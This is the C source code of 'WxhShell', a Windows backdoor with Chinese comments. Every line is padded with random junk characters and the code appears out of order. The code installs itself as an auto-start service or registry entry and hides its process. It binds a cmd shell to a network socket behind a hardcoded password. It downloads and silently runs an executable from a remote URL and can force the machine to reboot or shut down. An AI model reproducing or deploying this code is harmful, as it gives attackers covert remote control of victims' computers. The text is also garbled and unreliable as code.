    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O >+=cg  
    if(Boot(SHUTDOWN)) UFT JobU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fQC{Lc S  
    else { awo'#Y2>  
    closesocket(wsh); *<S>PbqLw  
    ExitThread(0); , @UOj=  
    } +kd1q  
    break; smfI+Z S"  
    } Nc(CGl:  
  // 获取shell mST8+R@S  
  case 's': { C{m%]jKH  
    CmdShell(wsh); [u!n=ev  
    closesocket(wsh); ?2#'>B  
    ExitThread(0); \~A qA!)6  
    break; `XH0S`B  
  } Z" ;q w  
  // 退出 ssLswb  
  case 'x': { >w<w*pC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @%x2d1FS  
    CloseIt(wsh); nS3Aadm  
    break; d/yF}%0QI  
    } pD({"A.x9z  
  // 离开 MhCU; !  
  case 'q': { 9MfU{4:;I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yIn$ApSGY  
    closesocket(wsh); ? -:2f#bC  
    WSACleanup(); 11"r FZ  
    exit(1); W9w*=W )Z  
    break; @I-gs(  
        } AvrvBz[  
  } .e0)@}Jv8>  
  } bKmwXDv'  
{aUTTEu  
  // 提示信息 S=-$:65  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uU3A,-{-  
} ,.0bE 9\o  
  } `WXlq#:K  
h-1?c\Qq:  
  return; =3(Auchl$Y  
} F^bY]\-5  
{*B0lr`  
// shell模块句柄 2rT^OGw6  
int CmdShell(SOCKET sock) wjl)yo$z  
{ Q*T 'tkp  
STARTUPINFO si; <skqq+  
ZeroMemory(&si,sizeof(si)); ;x\oY6:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gep#o$P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R6(:l; W  
PROCESS_INFORMATION ProcessInfo; Bz_'>6w  
char cmdline[]="cmd"; zsJ# CDm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p" >*WQ   
  return 0; f/O6~I&g  
} e1-tpD:J  
!Nx1I  
// 自身启动模式 ?< b{  
int StartFromService(void) NCkI[d]B@  
{ ISNL='%  
typedef struct wxvi)|)  
{ GKo&?Tj)  
  DWORD ExitStatus; o:Kw<z,$H  
  DWORD PebBaseAddress; -&Xv,:'?  
  DWORD AffinityMask; IyHbl_ P ^  
  DWORD BasePriority; m4@NW*G{  
  ULONG UniqueProcessId; /_l\7MeI  
  ULONG InheritedFromUniqueProcessId; BJUj#s0$  
}   PROCESS_BASIC_INFORMATION; $!>.h*np  
P!|Z%H  
PROCNTQSIP NtQueryInformationProcess; .c-a$39  
&$/ #"lW,V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d)vP9vXy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oV:oc,  
K#Ck,Y"  
  HANDLE             hProcess; lcZ.}   
  PROCESS_BASIC_INFORMATION pbi; Ll|_Wd.K,  
`?Q p>t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (|^m9v0:  
  if(NULL == hInst ) return 0; RN(I}]]a  
&kIeW;X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gf\h7)T\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A! bG2{r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QnVr)4"  
).5 X  
  if (!NtQueryInformationProcess) return 0; 7tcadXk0  
-Ty~lZ)TDT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !} TsFa  
  if(!hProcess) return 0; kh0cJE\_^  
EB*sd S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2; ^ME\  
Vbl-Ff  
  CloseHandle(hProcess); 1'<C-[1  
Bx#i?=*W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4MS<t FH)  
if(hProcess==NULL) return 0; C")genMH  
)cJ>&g4]  
HMODULE hMod; vt#;j;liG  
char procName[255]; ;yJ:W8U]+;  
unsigned long cbNeeded; o]oiJvOr  
&+2l#3}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,_3hbT8Q  
tz@MZs09  
  CloseHandle(hProcess); !e|\1v'0  
!B3TLe h  
if(strstr(procName,"services")) return 1; // 以服务启动 R(~wSL*R>  
H\S)a FY[  
  return 0; // 注册表启动 U7s$';y"%  
} O{X~,Em=q  
W r/-{Wt  
// 主模块 lv 8EfN  
int StartWxhshell(LPSTR lpCmdLine) -)}s{[]d6m  
{ sE"s!s/  
  SOCKET wsl; :k/Xt$`  
BOOL val=TRUE; 2 kDsIEA  
  int port=0; `} PYltW  
  struct sockaddr_in door; 7s(tAbPdB  
)]1hN;Nz  
  if(wscfg.ws_autoins) Install(); 6CBk=)qH  
dDPQDIx  
port=atoi(lpCmdLine); +& r!%j7  
OjUPvR2 0  
if(port<=0) port=wscfg.ws_port; {z FME41>g  
p u(mHB  
  WSADATA data; F^O83[S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ 29p|X<  
lxL5Rit@Px  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KG'i#(u[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]Btkoad  
  door.sin_family = AF_INET; n[ B~C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3 ~v 17  
  door.sin_port = htons(port); B?VTIq>  
5BhR4+1J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iQ/~?'PB  
closesocket(wsl); F_ F"3'[  
return 1; cszvt2BIg  
} WUYI1Ij;  
H -kX-7C  
  if(listen(wsl,2) == INVALID_SOCKET) { $`F9e5}G  
closesocket(wsl); UPh#YV 0/,  
return 1; &N7ji  
} ?"d$SK"6Z  
  Wxhshell(wsl); IP62|~Ap  
  WSACleanup(); YQ+hQ:4-  
]i*ucW4  
return 0; (GSP3KKo*G  
Cu[-<>my  
} (>v'0 RA  
\/NF??k,jk  
// 以NT服务方式启动 ukWn@q*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @?3f`l 9  
{ LIZB!S@V\  
DWORD   status = 0; 3 t,_{9  
  DWORD   specificError = 0xfffffff; [oLV,O|s|j  
^po@U"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gF)9a_R%p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [qYr~:`-[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wX,V:QE  
  serviceStatus.dwWin32ExitCode     = 0; <g[z jV9p  
  serviceStatus.dwServiceSpecificExitCode = 0; ^|Q]WHNFB  
  serviceStatus.dwCheckPoint       = 0; x e`^)2z  
  serviceStatus.dwWaitHint       = 0; ~G!JqdKJ0  
YlHP:ZW-cu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WK>F0xMs1  
  if (hServiceStatusHandle==0) return; A lU^ ,X  
" 9Gn/-V>  
status = GetLastError(); <S@jf4  
  if (status!=NO_ERROR) :?t~|7O:  
{ 2c9?,Le/;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]b4WfIu  
    serviceStatus.dwCheckPoint       = 0; *M.xVUPr  
    serviceStatus.dwWaitHint       = 0; (eN7s_  
    serviceStatus.dwWin32ExitCode     = status; fj_23{,/"g  
    serviceStatus.dwServiceSpecificExitCode = specificError; {7NGfzwp;6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wcGK *sWG-  
    return; S#/%#k103  
  } *pKTJP  
}47h0 i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ++0)KSvw  
  serviceStatus.dwCheckPoint       = 0; %M(RV_R+6  
  serviceStatus.dwWaitHint       = 0; c3vb~l)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cw Obq\  
} aB]0?C y9(  
2xI|G 3U  
// 处理NT服务事件,比如:启动、停止 4<efj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `Fy-"Uf  
{ (j: ptQ2$  
switch(fdwControl) V>{< pS  
{ t[^$F,  
case SERVICE_CONTROL_STOP: FwCb$yE#M  
  serviceStatus.dwWin32ExitCode = 0; @YJI'Hf67  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :D.0\.p  
  serviceStatus.dwCheckPoint   = 0; z|l*5@p  
  serviceStatus.dwWaitHint     = 0; + ?1GscJ   
  { 8Lo#{`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f[^f/jGm  
  } K+B978XD  
  return; %Sr+D{B  
case SERVICE_CONTROL_PAUSE: 7},A. q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =CX1jrLZ  
  break; ^kez]>   
case SERVICE_CONTROL_CONTINUE: rd%%NnT"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *IG$"nu  
  break; 5(1:^:LGK  
case SERVICE_CONTROL_INTERROGATE: -3I3 X  
  break; $NXP)Lic)  
}; wKV4-uyr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #+ I'V\ [  
} kxn&f(5  
}Mc b\+[  
// 标准应用程序主函数  <wH+\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -fR :W{u  
{ }lJ;|kx$  
Wa_qD  
// 获取操作系统版本 YG p+[|'  
OsIsNt=GetOsVer(); [|}IS@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C* 7/iRe  
{z#2gc'Q  
  // 从命令行安装 #/)t]&n  
  if(strpbrk(lpCmdLine,"iI")) Install(); C8N)!5(A  
r"h;JC/&<T  
  // 下载执行文件 [Kg b#L'{  
if(wscfg.ws_downexe) { |c_qq Bd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jc} G+|`  
  WinExec(wscfg.ws_filenam,SW_HIDE); TJ|Jv8j<s  
} I2cz:U7  
.KsR48g8  
if(!OsIsNt) { ' W/M>!X  
// 如果时win9x,隐藏进程并且设置为注册表启动 pSZ2>^";  
HideProc(); 6cQgp]%  
StartWxhshell(lpCmdLine);  4M'>oa  
} op,L3:R\Z  
else ;JW_4;-  
  if(StartFromService()) .])prp8  
  // 以服务方式启动 NFK`,  
  StartServiceCtrlDispatcher(DispatchTable); eI #Gx_mg  
else APQq F/  
  // 普通方式启动 =OVDJ0ozZ  
  StartWxhshell(lpCmdLine); G#M)5'Q]U  
x&}]8S)  
return 0; *GP2>oEM  
} jG5HW*>k0  
nB[-KS  
~(5r+Z}*`  
k9|5TLXq?  
=========================================== ]I*c:(qwu  
`?Rq44=  
U$rMZk  
Yo-}uTkw  
H=t"qEp  
]S|FK>U[  
" niVR!l  
!xM5 A[f  
#include <stdio.h> KWTV!Wxb=K  
#include <string.h> eRauyL"Q+  
#include <windows.h> }[*'  
#include <winsock2.h> yU$ MB,1  
#include <winsvc.h> vdQoJWuB  
#include <urlmon.h> S}m_XR]  
V7ph^^sC}  
#pragma comment (lib, "Ws2_32.lib") : Mf"   
#pragma comment (lib, "urlmon.lib") FhE{khc#  
1v o)]ff  
#define MAX_USER   100 // 最大客户端连接数 azcPeAe  
#define BUF_SOCK   200 // sock buffer <N<Q9}`V  
#define KEY_BUFF   255 // 输入 buffer +Y\:Q<eMFg  
}\pI`;*O|  
#define REBOOT     0   // 重启 PT"}2sR)  
#define SHUTDOWN   1   // 关机 }Q7y tE  
4#U}bN  
#define DEF_PORT   5000 // 监听端口 `]Bb0h1![  
5xY{Q  
#define REG_LEN     16   // 注册表键长度 #cbgp;,M{I  
#define SVC_LEN     80   // NT服务名长度 S63 Zk0(25  
)Q)qz$h@  
// 从dll定义API BFLef3~.0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7>JYwU{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8fR(y~_gF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K*6"c.D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); So:X!ljN(e  
>}5?`.K~Q*  
// wxhshell配置信息 s -i|P  
struct WSCFG { 0mw1CUx9K  
  int ws_port;         // 监听端口 V"FQVtTx7  
  char ws_passstr[REG_LEN]; // 口令 lame/B&nc  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4s\spvJ  
  char ws_regname[REG_LEN]; // 注册表键名 yDWIflP0;  
  char ws_svcname[REG_LEN]; // 服务名 ]B8 A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0.aXg"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]rcF/uQJ<n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '\Xkvi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  EM ,C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^?z%f_ri  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8hRcB[F~S  
1MelHW  
}; v=`yfCX-qX  
x2"iZzQlD  
// default Wxhshell configuration LQ0/oYmNc  
struct WSCFG wscfg={DEF_PORT, yNu_>!Cp5  
    "xuhuanlingzhe", *Cy54Z#  
    1, +A9~h/"kt  
    "Wxhshell", $ /VQsb  
    "Wxhshell",  %Bq~b$  
            "WxhShell Service", Bx\&7|,x  
    "Wrsky Windows CmdShell Service", V0ze7tSG[f  
    "Please Input Your Password: ", 8^mE<  
  1, |rmelQ-  
  "http://www.wrsky.com/wxhshell.exe", )U^=`* 7  
  "Wxhshell.exe" m 2H4V+M+  
    }; JJ.8V72;!Z  
3f;=#|l  
// 消息定义模块 LiJYyp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Po"qoGy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _vQ52H,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XTol|a=  
char *msg_ws_ext="\n\rExit."; OATdmHW  
char *msg_ws_end="\n\rQuit."; R!nf^*~  
char *msg_ws_boot="\n\rReboot..."; 1/_g36\l$  
char *msg_ws_poff="\n\rShutdown..."; K!|eN_1A  
char *msg_ws_down="\n\rSave to "; VK}4 <u  
8&<:(mAP  
char *msg_ws_err="\n\rErr!"; rTD+7 )E  
char *msg_ws_ok="\n\rOK!"; ju~$FNt8R  
=w2 4(S  
char ExeFile[MAX_PATH]; PK*Wu<<  
int nUser = 0; \0$+*ejz  
HANDLE handles[MAX_USER]; Q PH=`s  
int OsIsNt; A=|XlP$6  
3^xUN|.F*V  
SERVICE_STATUS       serviceStatus; {I#_0Q,i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J~~\0 u  
 56.!L  
// 函数声明 0.GFg${v`  
int Install(void); z2=bbm:  
int Uninstall(void); V>6klA}o  
int DownloadFile(char *sURL, SOCKET wsh); $ {yc t  
int Boot(int flag); =bKDD <(  
void HideProc(void); R|; BO:S1  
int GetOsVer(void); 1#vy# '  
int Wxhshell(SOCKET wsl); G5ATR<0m  
void TalkWithClient(void *cs); sqkWQ`Ur  
int CmdShell(SOCKET sock); ~uQ*u.wi  
int StartFromService(void); )'shpRB;1  
int StartWxhshell(LPSTR lpCmdLine);  Spm 0`  
6F\ 6,E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V&mkS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); blc?[ [,!  
[-~pDkf:  
// 数据结构和表定义 U ?[ (  
SERVICE_TABLE_ENTRY DispatchTable[] = K7}.#*% ~  
{ <'Q6\R}:vC  
{wscfg.ws_svcname, NTServiceMain}, ]xC56se  
{NULL, NULL}  *7m lH  
}; TG2#$Bq1  
{DO9%ej)  
// 自我安装  F/Goq`  
int Install(void) }1a}pm2p  
{ .#EU@Hc  
  char svExeFile[MAX_PATH]; \S}/2]* 1  
  HKEY key; 4,RPidv%O  
  strcpy(svExeFile,ExeFile); *A-_*A  
U%3N=M  
// 如果是win9x系统,修改注册表设为自启动 6v%yU3l  
if(!OsIsNt) { mxNd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x#{!hL 5G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5K vp%   
  RegCloseKey(key); '/ Aq2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @@d_F<Ym[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #UGSn:D<i  
  RegCloseKey(key); 1NYR8W]2  
  return 0; NAYLlW}A  
    } *V>?m6y/  
  } '%$Vmf)=  
} vPkLG*d 8  
else { jIh1)*]054  
@]uqC~a^  
// 如果是NT以上系统,安装为系统服务 /9vi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AXyXK??  
if (schSCManager!=0) B,b8\\^k|  
{ "Eh=@?]S_  
  SC_HANDLE schService = CreateService ax@H^Gj@2  
  ( z} fpV T  
  schSCManager, >ohCz@~  
  wscfg.ws_svcname, 41 F;X{Br  
  wscfg.ws_svcdisp, N8A)lYT]_u  
  SERVICE_ALL_ACCESS, .?}M(mL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c *KE3:  
  SERVICE_AUTO_START, ~IhAO}1  
  SERVICE_ERROR_NORMAL, ?v^NimcZ  
  svExeFile, M/S~"iD  
  NULL, <q63?Ms'  
  NULL, \gA!)q.;  
  NULL, :Cq73:1\B  
  NULL, NuZ2,<~9  
  NULL Dfs^W{YA  
  ); =VC18yA  
  if (schService!=0) I}f`iBG  
  { U`v2Yw3E  
  CloseServiceHandle(schService); <Iw{fj|  
  CloseServiceHandle(schSCManager); 96WzgHPWo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X[tt'5  
  strcat(svExeFile,wscfg.ws_svcname); s-p)^B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HxI6_>n^I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J4bP(=w!  
  RegCloseKey(key); v h,(]t  
  return 0; Emlj,c<?j  
    } v l"8Oi*r^  
  } GRZz@bAO?$  
  CloseServiceHandle(schSCManager); \`Hp/D1  
} ?N kKDvv  
} ^'3c%&Zf3  
!73y(Y%TE  
return 1; *g5bdQ:Av~  
} & ALnE:F  
hHJiGVJ=V  
// 自我卸载  "'4  
int Uninstall(void) j6%W+;{/pj  
{ Q-x>yau"  
  HKEY key; EN m%(G$  
^s~)"2 g  
if(!OsIsNt) { "GMU~594  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZP"; B^J  
  RegDeleteValue(key,wscfg.ws_regname); <83Ky;ry  
  RegCloseKey(key); ~ l}f@@u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'LgRdtO6  
  RegDeleteValue(key,wscfg.ws_regname); A6(Do]M  
  RegCloseKey(key); zgD?e?yPO  
  return 0; .W]k 8N E  
  } vQrxx  
} [f+wP|NKL  
} TdFU,  
else { }s,NM%oI  
F ~A $7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <]Td7-n  
if (schSCManager!=0) sL@\,]Y  
{ =.`\V]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \,S |>CPQ  
  if (schService!=0) 9'MGv*Ho  
  { ni;)6,i  
  if(DeleteService(schService)!=0) { n)yDep]$G  
  CloseServiceHandle(schService); M?l v  
  CloseServiceHandle(schSCManager); bjVk9XvH6  
  return 0; dD,}i$  
  } bi8_5I[  
  CloseServiceHandle(schService); qU26i"GHp  
  } v_KO xV:<`  
  CloseServiceHandle(schSCManager); _[rFnyC+0V  
} { ^o.f  
} l~Jd>9DwY  
!Yof%%m$;  
return 1; ixA.b#!1  
} Fk=SkS ky  
U7WYS8  
// 从指定url下载文件 y[N0P0r l:  
int DownloadFile(char *sURL, SOCKET wsh) )rEl{a  
{ c64^u9  
  HRESULT hr; @)>Z+g  
char seps[]= "/"; h,c*:  
char *token; 5 `1  
char *file; |]-Zz7N)  
char myURL[MAX_PATH]; jG>W+lq  
char myFILE[MAX_PATH]; 9#9 UzKX#  
s)Y1%#  
strcpy(myURL,sURL); .wNXvnWr  
  token=strtok(myURL,seps); pU_3Z3CeE  
  while(token!=NULL) >YI Vi4''  
  { !Cgj >=  
    file=token; um%_kX  
  token=strtok(NULL,seps); 5L3+KkX@  
  } ^PEw#.WG  
$udhTI#,  
GetCurrentDirectory(MAX_PATH,myFILE); 44KoOY_  
strcat(myFILE, "\\"); N3"JouP  
strcat(myFILE, file); <0d2{RQ;  
  send(wsh,myFILE,strlen(myFILE),0);  G*z\ ^H  
send(wsh,"...",3,0); tWn dAM(U7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a&>NuMDI  
  if(hr==S_OK) QIiy\E%  
return 0; Y w0,K&  
else I )mB]j  
return 1; :)1"yo\  
)$]lf }  
} ]5'$EAsuW  
8m"k3:e^  
// 系统电源模块 3(c-o0M  
int Boot(int flag) ]k!Xb  
{ 811>dVq3/  
  HANDLE hToken; l.@1]4.  
  TOKEN_PRIVILEGES tkp; =TD`Pet  
{ b$"SIg1E  
  if(OsIsNt) { vH+g*A0S<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6+$2rS$1V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @HS*%N"*  
    tkp.PrivilegeCount = 1; *73gp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lp}S'^ y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #,tT`{u1q  
if(flag==REBOOT) { FJeh=\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N|DfE{,  
  return 0; Gd!-fqNa'x  
} ? Ek)" l  
else { M!,H0( @G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D|q~n)TW5  
  return 0; _)45G"M  
} O|H:  
  } &vrQ *jX  
  else { s70Z&3A  
if(flag==REBOOT) { wsmgkg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HAn{^8"@  
  return 0; -+"#G?g  
} B[Lm}B[  
else { ]LB_ @#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z8E<^<|  
  return 0; ~A>fB2.pM  
} yz68g?"  
} j4IVIj@$ `  
=e6p v#  
return 1; -$8ew+  
} vh\i ^  
Ic(qA{SM  
// win9x进程隐藏模块 `O6#-<>  
void HideProc(void) F;Q,cg M  
{ s!(R  
L3{(B u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2Wzx1_D "a  
  if ( hKernel != NULL ) HTh? &u\QG  
  { >W>rhxU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }r,M (Zr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h:fiUCw  
    FreeLibrary(hKernel); [e><^R*u  
  } YNBM\Q  
=2&\<Q_Fi  
return; b~zSsws.  
} 'OnfU{Ai  
S# ]] h/  
// 获取操作系统版本 Xz4q^XJ  
int GetOsVer(void) 8Qg{@#Wr  
{ 4|PWR_x  
  OSVERSIONINFO winfo; jC&fnt,O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ql{#dcRx  
  GetVersionEx(&winfo); r<0E[ ~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *duG/?>P  
  return 1; dBI-y6R  
  else Y|R=^ =d\  
  return 0; _9>,9aL  
} Hf('BagBL  
SRfh{u  
// 客户端句柄模块 m]?Z_*1  
int Wxhshell(SOCKET wsl) 9\"\7S/Z  
{ btg= # u  
  SOCKET wsh; b d 1^  
  struct sockaddr_in client; }{F)Ren  
  DWORD myID; Pk;w.)kT  
CFFb>d  
  while(nUser<MAX_USER) `ArUoYb B  
{ ;VLDXvGd  
  int nSize=sizeof(client); ^/#+0/Bn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G`l\R:Q  
  if(wsh==INVALID_SOCKET) return 1; Lip#uuuXXN  
%gmx47  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bj 7* 2}  
if(handles[nUser]==0) XH%pV  
  closesocket(wsh); /[TOy2/;%b  
else 4r$#-  
  nUser++; xVPSL#>  
  } a*(Zb|g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S #GxKMO%  
!l*A3qA  
  return 0; ,g?ny<#o  
} M@TG7M7Os  
d~8U1}dP  
// 关闭 socket &6\&McmkX  
void CloseIt(SOCKET wsh) yu6~:$%H  
{ 9(]_so24,  
closesocket(wsh); cB,^?djJ3  
nUser--; *fm?"0M5  
ExitThread(0); Fbo"Csn_  
} *z[vp2 TN  
9i\}^ s2  
// 客户端请求句柄 Kyh6QA^  
void TalkWithClient(void *cs) ]-t )wGr  
{ \udB4O  
P8c_GEna  
  SOCKET wsh=(SOCKET)cs; QjLU@?&  
  char pwd[SVC_LEN]; Z0&^(Fb  
  char cmd[KEY_BUFF]; FJ84 'T\~  
char chr[1]; bbjba36RO  
int i,j; "c[>>t  
!IOmJpl'  
  while (nUser < MAX_USER) { 6Y2,fW8i,  
)?[2Y%P  
if(wscfg.ws_passstr) { "1s ]74  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $2Wk#F2c=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =\]gL%N-|  
  //ZeroMemory(pwd,KEY_BUFF); w5z]=dN  
      i=0; mRx `G(u:v  
  while(i<SVC_LEN) { b_Y+XXb<  
9SeGkwec?$  
  // 设置超时 (`4&h%g  
  fd_set FdRead; cP tDIc,  
  struct timeval TimeOut; F,_cci`p  
  FD_ZERO(&FdRead); S+06pj4Ie  
  FD_SET(wsh,&FdRead); |6d:k~p  
  TimeOut.tv_sec=8; HJr/N)d  
  TimeOut.tv_usec=0; 6teu_FS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q3>qT84  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r^"o!,H9q  
:fmV||Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MLr L"I"  
  pwd=chr[0]; .g/!u(iy  
  if(chr[0]==0xd || chr[0]==0xa) { VQ!4( <XD  
  pwd=0; 9]3l'  
  break; r5&c!b\  
  } ScJ:F-@>  
  i++; xd3mAf  
    } cPIyD?c  
L^e*_q2d:>  
  // 如果是非法用户,关闭 socket 2>"{El|PbN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HV!P]82Pa  
} Jha*BaD~N  
U+VJiz<!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <@`K^g;W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~6#mVP5sU)  
s;h`n$  
while(1) { f@Mku0VT  
PE7V1U#$o,  
  ZeroMemory(cmd,KEY_BUFF); '0 Ys`Qo  
+]t9kr  
      // 自动支持客户端 telnet标准   o,k#ft<  
  j=0; Ty b_'|?rW  
  while(j<KEY_BUFF) { T\wOGaCW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x75;-q  
  cmd[j]=chr[0]; 3=]/+{B  
  if(chr[0]==0xa || chr[0]==0xd) { TPb&";4ROf  
  cmd[j]=0; a?Om;-i2`S  
  break; ip'v<%,Q3"  
  } -T+yS BO_3  
  j++; J>dj]1I  
    } e77s?WxbK  
W9cvxsox  
  // 下载文件 Nj6Np^@sH  
  if(strstr(cmd,"http://")) { p,WBF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZHen:  
  if(DownloadFile(cmd,wsh)) zX=%BL?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :8n?G  
